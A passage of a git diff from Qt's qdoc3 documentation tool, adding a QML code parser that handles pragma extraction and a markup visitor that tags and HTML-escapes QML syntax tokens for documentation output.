+    virtual QString markedUpName(const Node *node);
+    virtual QString markedUpFullName(const Node *node, const Node *relative);
+    virtual QString markedUpIncludes(const QStringList &includes);
+    virtual QString functionBeginRegExp(const QString &funcName);
+    virtual QString functionEndRegExp(const QString &funcName);
+
+    /* Copied from src/declarative/qml/qdeclarativescriptparser.cpp */
+    QList<QDeclarativeJS::AST::SourceLocation> extractPragmas(QString &script);
+
+private:
+    QString addMarkUp(const QString &code, const Node *relative,
+                      const Location &location);
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/tools/qdoc3/qmlcodeparser.cpp b/tools/qdoc3/qmlcodeparser.cpp
new file mode 100644
index 0000000..9c1d4ee
--- /dev/null
+++ b/tools/qdoc3/qmlcodeparser.cpp
@@ -0,0 +1,235 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*
+  qmlcodeparser.cpp
+*/
+
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsastvisitor_p.h"
+#include "private/qdeclarativejsnodepool_p.h"
+
+#include "qmlcodeparser.h"
+#include "node.h"
+#include "tree.h"
+#include "config.h"
+#include "qmlvisitor.h"
+
+QT_BEGIN_NAMESPACE
+
+#define COMMAND_STARTPAGE               Doc::alias("startpage")
+#define COMMAND_VARIABLE                Doc::alias("variable")
+
+#define COMMAND_QMLCLASS                Doc::alias("qmlclass")
+#define COMMAND_QMLPROPERTY             Doc::alias("qmlproperty")
+#define COMMAND_QMLATTACHEDPROPERTY     Doc::alias("qmlattachedproperty")
+#define COMMAND_QMLINHERITS             Doc::alias("inherits")
+#define COMMAND_QMLSIGNAL               Doc::alias("qmlsignal")
+#define COMMAND_QMLATTACHEDSIGNAL       Doc::alias("qmlattachedsignal")
+#define COMMAND_QMLMETHOD               Doc::alias("qmlmethod")
+#define COMMAND_QMLATTACHEDMETHOD       Doc::alias("qmlattachedmethod")
+#define COMMAND_QMLDEFAULT              Doc::alias("default")
+#define COMMAND_QMLBASICTYPE            Doc::alias("qmlbasictype")
+
+QmlCodeParser::QmlCodeParser()
+{
+}
+
+QmlCodeParser::~QmlCodeParser()
+{
+}
+
+/*!
+  Initialize the code parser base class.
+ */
+void QmlCodeParser::initializeParser(const Config &config)
+{
+    CodeParser::initializeParser(config);
+
+    lexer = new QDeclarativeJS::Lexer(&engine);
+    parser = new QDeclarativeJS::Parser(&engine);
+}
+
+void QmlCodeParser::terminateParser()
+{
+    delete lexer;
+    delete parser;
+}
+
+QString QmlCodeParser::language()
+{
+    return "QML";
+}
+
+QStringList QmlCodeParser::sourceFileNameFilter()
+{
+    return QStringList("*.qml");
+}
+
+void QmlCodeParser::parseSourceFile(const Location& location,
+                                    const QString& filePath,
+                                    Tree *tree)
+{
+    QFile in(filePath);
+    if (!in.open(QIODevice::ReadOnly)) {
+        location.error(tr("Cannot open QML file '%1'").arg(filePath));
+        return;
+    }
+
+    QString document = in.readAll();
+    in.close();
+
+    Location fileLocation(filePath);
+
+    QString newCode = document;
+    extractPragmas(newCode);
+    lexer->setCode(newCode, 1);
+
+    QSet<QString> topicCommandsAllowed = topicCommands();
+    QSet<QString> otherMetacommandsAllowed = otherMetaCommands();
+    QSet<QString> metacommandsAllowed = topicCommandsAllowed +
+        otherMetacommandsAllowed;
+
+    QDeclarativeJS::NodePool m_nodePool(filePath, &engine);
+
+    if (parser->parse()) {
+        QDeclarativeJS::AST::UiProgram *ast = parser->ast();
+        QmlDocVisitor visitor(filePath, newCode, &engine, tree, metacommandsAllowed);
+        QDeclarativeJS::AST::Node::accept(ast, &visitor);
+    }
+}
+
+void QmlCodeParser::doneParsingSourceFiles(Tree *tree)
+{
+}
+
+/*!
+  Returns the set of strings reopresenting the topic commands.
+ */
+QSet<QString> QmlCodeParser::topicCommands()
+{
+    return QSet<QString>() << COMMAND_VARIABLE
+                           << COMMAND_QMLCLASS
+                           << COMMAND_QMLPROPERTY
+                           << COMMAND_QMLATTACHEDPROPERTY
+                           << COMMAND_QMLSIGNAL
+                           << COMMAND_QMLATTACHEDSIGNAL
+                           << COMMAND_QMLMETHOD
+                           << COMMAND_QMLATTACHEDMETHOD
+                           << COMMAND_QMLBASICTYPE;
+}
+
+/*!
+  Returns the set of strings representing the common metacommands
+  plus some other metacommands.
+ */
+QSet<QString> QmlCodeParser::otherMetaCommands()
+{
+    return commonMetaCommands() << COMMAND_STARTPAGE
+                                << COMMAND_QMLINHERITS
+                                << COMMAND_QMLDEFAULT;
+}
+
+/*
+Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp.
+*/
+static void replaceWithSpace(QString &str, int idx, int n) 
+{
+    QChar *data = str.data() + idx;
+    const QChar space(QLatin1Char(' '));
+    for (int ii = 0; ii < n; ++ii)
+        *data++ = space;
+}
+
+/*
+Copied and pasted from src/declarative/qml/qdeclarativescriptparser.cpp then
+modified to return no values.
+
+Searches for ".pragma <value>" declarations within \a script.  Currently supported pragmas
+are:
+    library
+*/
+void QmlCodeParser::extractPragmas(QString &script)
+{
+    const QString pragma(QLatin1String("pragma"));
+    const QString library(QLatin1String("library"));
+
+    QDeclarativeJS::Lexer l(0);
+    l.setCode(script, 0);
+
+    int token = l.lex();
+
+    while (true) {
+        if (token != QDeclarativeJSGrammar::T_DOT)
+            return;
+
+        int startOffset = l.tokenOffset();
+        int startLine = l.currentLineNo();
+
+        token = l.lex();
+
+        if (token != QDeclarativeJSGrammar::T_IDENTIFIER ||
+            l.currentLineNo() != startLine ||
+            script.mid(l.tokenOffset(), l.tokenLength()) != pragma)
+            return;
+
+        token = l.lex();
+
+        if (token != QDeclarativeJSGrammar::T_IDENTIFIER ||
+            l.currentLineNo() != startLine)
+            return;
+
+        QString pragmaValue = script.mid(l.tokenOffset(), l.tokenLength());
+        int endOffset = l.tokenLength() + l.tokenOffset();
+
+        token = l.lex();
+        if (l.currentLineNo() == startLine)
+            return;
+
+        if (pragmaValue == QLatin1String("library"))
+            replaceWithSpace(script, startOffset, endOffset - startOffset);
+        else
+            return;
+    }
+    return;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/qsakernelparser.h b/tools/qdoc3/qmlcodeparser.h
index 7692e98..e5cc0dd 100644
--- a/tools/qdoc3/qsakernelparser.h
+++ b/tools/qdoc3/qmlcodeparser.h
@@ -40,36 +40,52 @@
 ****************************************************************************/
 
 /*
-  qsakernelparser.h
+  qmlcodeparser.h
 */
 
-#ifndef QSAKERNELPARSER_H
-#define QSAKERNELPARSER_H
+#ifndef QMLCODEPARSER_H
+#define QMLCODEPARSER_H
+
+#include <QSet>
+#include "private/qdeclarativejsengine_p.h"
+#include "private/qdeclarativejslexer_p.h"
+#include "private/qdeclarativejsparser_p.h"
 
 #include "codeparser.h"
+#include "location.h"
 
 QT_BEGIN_NAMESPACE
 
-class Tokenizer;
+class Config;
+class Node;
+class QString;
+class Tree;
 
-class QsaKernelParser : public CodeParser
+class QmlCodeParser : public CodeParser
 {
 public:
-    QsaKernelParser( Tree *cppTree );
-    ~QsaKernelParser();
+    QmlCodeParser();
+    virtual ~QmlCodeParser();
 
+    virtual void initializeParser(const Config& config);
+    virtual void terminateParser();
     virtual QString language();
-    virtual QString sourceFileNameFilter();
-    virtual void parseSourceFile( const Location& location,
-				  const QString& filePath, Tree *tree );
-    virtual void doneParsingSourceFiles( Tree *tree );
+    virtual QStringList sourceFileNameFilter();
+    virtual void parseSourceFile(const Location& location,
+                                 const QString& filePath, Tree *tree);
+    virtual void doneParsingSourceFiles(Tree *tree);
 
-private:
-    void readToken();
+    /* Copied from src/declarative/qml/qdeclarativescriptparser.cpp */
+    void extractPragmas(QString &script);
 
-    Tree *cppTre;
-    Tokenizer *tokenizer;
-    int tok;
+protected:
+    virtual QSet<QString> topicCommands();
+    virtual QSet<QString> otherMetaCommands();
+
+private:
+    QDeclarativeJS::Engine engine;
+    QDeclarativeJS::Lexer *lexer;
+    QDeclarativeJS::Parser *parser;
 };
 
 QT_END_NAMESPACE
diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp
new file mode 100644
index 0000000..7acac48
--- /dev/null
+++ b/tools/qdoc3/qmlmarkupvisitor.cpp
@@ -0,0 +1,870 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QStringList>
+#include <QtGlobal>
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsastfwd_p.h"
+#include "private/qdeclarativejsengine_p.h"
+
+#include "qmlmarkupvisitor.h"
+
+QT_BEGIN_NAMESPACE
+
+QmlMarkupVisitor::QmlMarkupVisitor(const QString &source,
+                  const QList<QDeclarativeJS::AST::SourceLocation> &pragmas,
+                  QDeclarativeJS::Engine *engine)
+{
+    this->source = source;
+    this->engine = engine;
+
+    cursor = 0;
+    extraIndex = 0;
+
+    // Merge the lists of locations of pragmas and comments in the source code.
+    int i = 0;
+    int j = 0;
+    while (i < engine->comments().length() && j < pragmas.length()) {
+        if (engine->comments()[i].offset < pragmas[j].offset) {
+            extraTypes.append(Comment);
+            extraLocations.append(engine->comments()[i]);
+            ++i;
+        } else {
+            extraTypes.append(Pragma);
+            extraLocations.append(engine->comments()[j]);
+            ++j;
+        }
+    }
+
+    while (i < engine->comments().length()) {
+        extraTypes.append(Comment);
+        extraLocations.append(engine->comments()[i]);
+        ++i;
+    }
+
+    while (j < pragmas.length()) {
+        extraTypes.append(Pragma);
+        extraLocations.append(pragmas[j]);
+        ++j;
+    }
+}
+
+QmlMarkupVisitor::~QmlMarkupVisitor()
+{
+}
+
+// The protect() function is a copy of the one from CppCodeMarker.
+
+static const QString samp  = QLatin1String("&amp;");
+static const QString slt   = QLatin1String("&lt;");
+static const QString sgt   = QLatin1String("&gt;");
+static const QString squot = QLatin1String("&quot;");
+
+QString QmlMarkupVisitor::protect(const QString& str)
+{
+    int n = str.length();
+    QString marked;
+    marked.reserve(n * 2 + 30);
+    const QChar *data = str.constData();
+    for (int i = 0; i != n; ++i) {
+        switch (data[i].unicode()) {
+            case '&': marked += samp;  break;
+            case '<': marked += slt;   break;
+            case '>': marked += sgt;   break;
+            case '"': marked += squot; break;
+            default : marked += data[i];
+        }
+    }
+    return marked;
+}
+
+QString QmlMarkupVisitor::markedUpCode()
+{
+    if (int(cursor) < source.length())
+        addExtra(cursor, source.length());
+
+    return output;
+}
+
+void QmlMarkupVisitor::addExtra(quint32 start, quint32 finish)
+{
+    if (extraIndex >= extraLocations.length()) {
+        QString extra = source.mid(start, finish - start);
+        if (extra.trimmed().isEmpty())
+            output += extra;
+        else
+            output += protect(extra); // text that should probably have been caught by the parser
+
+        cursor = finish;
+        return;
+    }
+
+    while (extraIndex < extraLocations.length()) {
+        if (extraTypes[extraIndex] == Comment) {
+            if (extraLocations[extraIndex].offset - 2 >= start)
+                break;
+        } else {
+            if (extraLocations[extraIndex].offset >= start)
+                break;
+        }
+        extraIndex++;
+    }
+
+    quint32 i = start;
+    while (i < finish && extraIndex < extraLocations.length()) {
+        quint32 j = extraLocations[extraIndex].offset - 2;
+        if (i <= j && j < finish) {
+            if (i < j)
+                output += protect(source.mid(i, j - i));
+
+            quint32 l = extraLocations[extraIndex].length;
+            if (extraTypes[extraIndex] == Comment) {
+                if (source.mid(j, 2) == QLatin1String("/*"))
+                    l += 4;
+                else
+                    l += 2;
+                output += QLatin1String("<@comment>");
+                output += protect(source.mid(j, l));
+                output += QLatin1String("</@comment>");
+            } else
+                output += protect(source.mid(j, l));
+
+            extraIndex++;
+            i = j + l;
+        } else
+            break;
+    }
+
+    QString extra = source.mid(i, finish - i);
+    if (extra.trimmed().isEmpty())
+        output += extra;
+    else
+        output += protect(extra); // text that should probably have been caught by the parser
+
+    cursor = finish;
+}
+
+void QmlMarkupVisitor::addMarkedUpToken(
+    QDeclarativeJS::AST::SourceLocation &location, const QString &tagName,
+    const QHash<QString, QString> &attributes)
+{
+    if (!location.isValid())
+        return;
+
+    if (cursor < location.offset)
+        addExtra(cursor, location.offset);
+    else if (cursor > location.offset)
+        return;
+
+    output += QString(QLatin1String("<@%1")).arg(tagName);
+    foreach (const QString &key, attributes)
+        output += QString(QLatin1String(" %1=\"%2\"")).arg(key).arg(attributes[key]);
+    output += QString(QLatin1String(">%2</@%3>")).arg(protect(sourceText(location)), tagName);
+    cursor += location.length;
+}
+
+QString QmlMarkupVisitor::sourceText(QDeclarativeJS::AST::SourceLocation &location)
+{
+    return source.mid(location.offset, location.length);
+}
+
+void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first,
+                                   QDeclarativeJS::AST::SourceLocation last)
+{
+    if (!first.isValid())
+        return;
+
+    quint32 start = first.begin();
+    quint32 finish;
+    if (last.isValid())
+        finish = last.end();
+    else
+        finish = first.end();
+
+    if (cursor < start)
+        addExtra(cursor, start);
+    else if (cursor > start)
+        return;
+
+    QString text = source.mid(start, finish - start);
+    output += protect(text);
+    cursor = finish;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport)
+{
+    addVerbatim(uiimport->importToken);
+    if (!uiimport->importUri)
+        addMarkedUpToken(uiimport->fileNameToken, QLatin1String("headerfile"));
+    return false;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImport *uiimport)
+{
+    addVerbatim(uiimport->versionToken);
+    addVerbatim(uiimport->asToken);
+    addMarkedUpToken(uiimport->importIdToken, QLatin1String("headerfile"));
+    addVerbatim(uiimport->semicolonToken);
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member)
+{
+    if (member->type == QDeclarativeJS::AST::UiPublicMember::Property) {
+        addVerbatim(member->defaultToken);
+        addVerbatim(member->readonlyToken);
+        addVerbatim(member->propertyToken);
+        addVerbatim(member->typeModifierToken);
+        addMarkedUpToken(member->typeToken, QLatin1String("type"));
+        addMarkedUpToken(member->identifierToken, QLatin1String("name"));
+        addVerbatim(member->colonToken);
+        if (member->binding)
+            QDeclarativeJS::AST::Node::accept(member->binding, this);
+        else if (member->expression)
+            QDeclarativeJS::AST::Node::accept(member->expression, this);
+    } else {
+        addVerbatim(member->propertyToken);
+        addVerbatim(member->typeModifierToken);
+        addMarkedUpToken(member->typeToken, QLatin1String("type"));
+        //addVerbatim(member->identifierToken);
+        QDeclarativeJS::AST::Node::accept(member->parameters, this);
+    }
+    addVerbatim(member->semicolonToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectInitializer *initializer)
+{
+    addVerbatim(initializer->lbraceToken, initializer->lbraceToken);
+    return true;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectInitializer *initializer)
+{
+    addVerbatim(initializer->rbraceToken, initializer->rbraceToken);
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding)
+{
+    QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this);
+    addVerbatim(binding->colonToken);
+    QDeclarativeJS::AST::Node::accept(binding->qualifiedTypeNameId, this);
+    QDeclarativeJS::AST::Node::accept(binding->initializer, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding)
+{
+    QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this);
+    addVerbatim(binding->colonToken);
+    QDeclarativeJS::AST::Node::accept(binding->statement, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding)
+{
+    QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this);
+    addVerbatim(binding->colonToken);
+    addVerbatim(binding->lbracketToken);
+    QDeclarativeJS::AST::Node::accept(binding->members, this);
+    addVerbatim(binding->rbracketToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list)
+{
+    for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) {
+        QDeclarativeJS::AST::Node::accept(it->member, this);
+        //addVerbatim(it->commaToken);
+    }
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id)
+{
+    addMarkedUpToken(id->identifierToken, QLatin1String("name"));
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature)
+{
+    addVerbatim(signature->lparenToken);
+    return true;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSignature *signature)
+{
+    addVerbatim(signature->rparenToken);
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal)
+{
+    addMarkedUpToken(formal->identifierToken, QLatin1String("name"));
+    addVerbatim(formal->asToken);
+    addVerbatim(formal->aliasToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThisExpression *expression)
+{
+    addVerbatim(expression->thisToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier)
+{
+    addMarkedUpToken(identifier->identifierToken, QLatin1String("name"));
+    return false;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null)
+{
+    addMarkedUpToken(null->nullToken, QLatin1String("number"));
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal)
+{
+    addMarkedUpToken(literal->trueToken, QLatin1String("number"));
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal)
+{
+    addMarkedUpToken(literal->falseToken, QLatin1String("number"));
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal)
+{
+    addMarkedUpToken(literal->literalToken, QLatin1String("number"));
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal)
+{
+    addMarkedUpToken(literal->literalToken, QLatin1String("string"));
+    return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::RegExpLiteral *literal)
+{
+    addVerbatim(literal->literalToken);
+    return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal)
+{
+    addVerbatim(literal->lbracketToken);
+    QDeclarativeJS::AST::Node::accept(literal->elements, this);
+    addVerbatim(literal->rbracketToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal)
+{
+    addVerbatim(literal->lbraceToken);
+    return true;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ObjectLiteral *literal)
+{
+    addVerbatim(literal->rbraceToken);
+}
+
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list)
+{
+    for (QDeclarativeJS::AST::ElementList *it = list; it; it = it->next) {
+        QDeclarativeJS::AST::Node::accept(it->expression, this);
+        //addVerbatim(it->commaToken);
+    }
+    QDeclarativeJS::AST::Node::accept(list->elision, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Elision *elision)
+{
+    addVerbatim(elision->commaToken, elision->commaToken);
+    return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list)
+{
+    QDeclarativeJS::AST::Node::accept(list->name, this);
+    addVerbatim(list->colonToken, list->colonToken);
+    QDeclarativeJS::AST::Node::accept(list->value, this);
+    addVerbatim(list->commaToken, list->commaToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *expression)
+{
+    QDeclarativeJS::AST::Node::accept(expression->base, this);
+    addVerbatim(expression->lbracketToken);
+    QDeclarativeJS::AST::Node::accept(expression->expression, this);
+    addVerbatim(expression->rbracketToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *expression)
+{
+    QDeclarativeJS::AST::Node::accept(expression->base, this);
+    addVerbatim(expression->dotToken);
+    addMarkedUpToken(expression->identifierToken, QLatin1String("name"));
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expression)
+{
+    addVerbatim(expression->newToken);
+    QDeclarativeJS::AST::Node::accept(expression->base, this);
+    addVerbatim(expression->lparenToken);
+    QDeclarativeJS::AST::Node::accept(expression->arguments, this);
+    addVerbatim(expression->rparenToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewExpression *expression)
+{
+    addVerbatim(expression->newToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArgumentList *list)
+{
+    addVerbatim(list->commaToken, list->commaToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostIncrementExpression *expression)
+{
+    addVerbatim(expression->incrementToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostDecrementExpression *expression)
+{
+    addVerbatim(expression->decrementToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DeleteExpression *expression)
+{
+    addVerbatim(expression->deleteToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VoidExpression *expression)
+{
+    addVerbatim(expression->voidToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TypeOfExpression *expression)
+{
+    addVerbatim(expression->typeofToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreIncrementExpression *expression)
+{
+    addVerbatim(expression->incrementToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreDecrementExpression *expression)
+{
+    addVerbatim(expression->decrementToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryPlusExpression *expression)
+{
+    addVerbatim(expression->plusToken);
+    return true;
+}
+ 
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expression)
+{
+    addVerbatim(expression->minusToken);
+    return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression)
+{
+    addVerbatim(expression->tildeToken);
+    return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression)
+{
+    addVerbatim(expression->notToken);
+    return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression)
+{
+    QDeclarativeJS::AST::Node::accept(expression->left, this);
+    addMarkedUpToken(expression->operatorToken, QLatin1String("op"));
+    QDeclarativeJS::AST::Node::accept(expression->right, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *expression)
+{
+    QDeclarativeJS::AST::Node::accept(expression->expression, this);
+    addVerbatim(expression->questionToken);
+    QDeclarativeJS::AST::Node::accept(expression->ok, this);
+    addVerbatim(expression->colonToken);
+    QDeclarativeJS::AST::Node::accept(expression->ko, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression)
+{
+    QDeclarativeJS::AST::Node::accept(expression->left, this);
+    addVerbatim(expression->commaToken);
+    QDeclarativeJS::AST::Node::accept(expression->right, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block)
+{
+    addVerbatim(block->lbraceToken);
+    return true;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Block *block)
+{
+    addVerbatim(block->rbraceToken);
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableStatement *statement)
+{
+    addVerbatim(statement->declarationKindToken);
+    QDeclarativeJS::AST::Node::accept(statement->declarations, this);
+    addVerbatim(statement->semicolonToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list)
+{
+    for (QDeclarativeJS::AST::VariableDeclarationList *it = list; it; it = it->next) {
+        QDeclarativeJS::AST::Node::accept(it->declaration, this);
+        addVerbatim(it->commaToken);
+    }
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration)
+{
+    addMarkedUpToken(declaration->identifierToken, QLatin1String("name"));
+    QDeclarativeJS::AST::Node::accept(declaration->expression, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::EmptyStatement *statement)
+{
+    addVerbatim(statement->semicolonToken);
+    return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *statement)
+{
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->semicolonToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement)
+{
+    addMarkedUpToken(statement->ifToken, QLatin1String("keyword"));
+    addVerbatim(statement->lparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->rparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->ok, this);
+    if (statement->ko) {
+        addMarkedUpToken(statement->elseToken, QLatin1String("keyword"));
+        QDeclarativeJS::AST::Node::accept(statement->ko, this);
+    }
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement)
+{
+    addMarkedUpToken(statement->doToken, QLatin1String("keyword"));
+    QDeclarativeJS::AST::Node::accept(statement->statement, this);
+    addMarkedUpToken(statement->whileToken, QLatin1String("keyword"));
+    addVerbatim(statement->lparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->rparenToken);
+    addVerbatim(statement->semicolonToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement)
+{
+    addMarkedUpToken(statement->whileToken, QLatin1String("keyword"));
+    addVerbatim(statement->lparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->rparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->statement, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement)
+{
+    addMarkedUpToken(statement->forToken, QLatin1String("keyword"));
+    addVerbatim(statement->lparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->initialiser, this);
+    addVerbatim(statement->firstSemicolonToken);
+    QDeclarativeJS::AST::Node::accept(statement->condition, this);
+    addVerbatim(statement->secondSemicolonToken);
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->rparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->statement, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement)
+{
+    addMarkedUpToken(statement->forToken, QLatin1String("keyword"));
+    addVerbatim(statement->lparenToken);
+    addMarkedUpToken(statement->varToken, QLatin1String("keyword"));
+    QDeclarativeJS::AST::Node::accept(statement->declarations, this);
+    addVerbatim(statement->firstSemicolonToken);
+    QDeclarativeJS::AST::Node::accept(statement->condition, this);
+    addVerbatim(statement->secondSemicolonToken);
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->rparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->statement, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement)
+{
+    addMarkedUpToken(statement->forToken, QLatin1String("keyword"));
+    addVerbatim(statement->lparenToken);
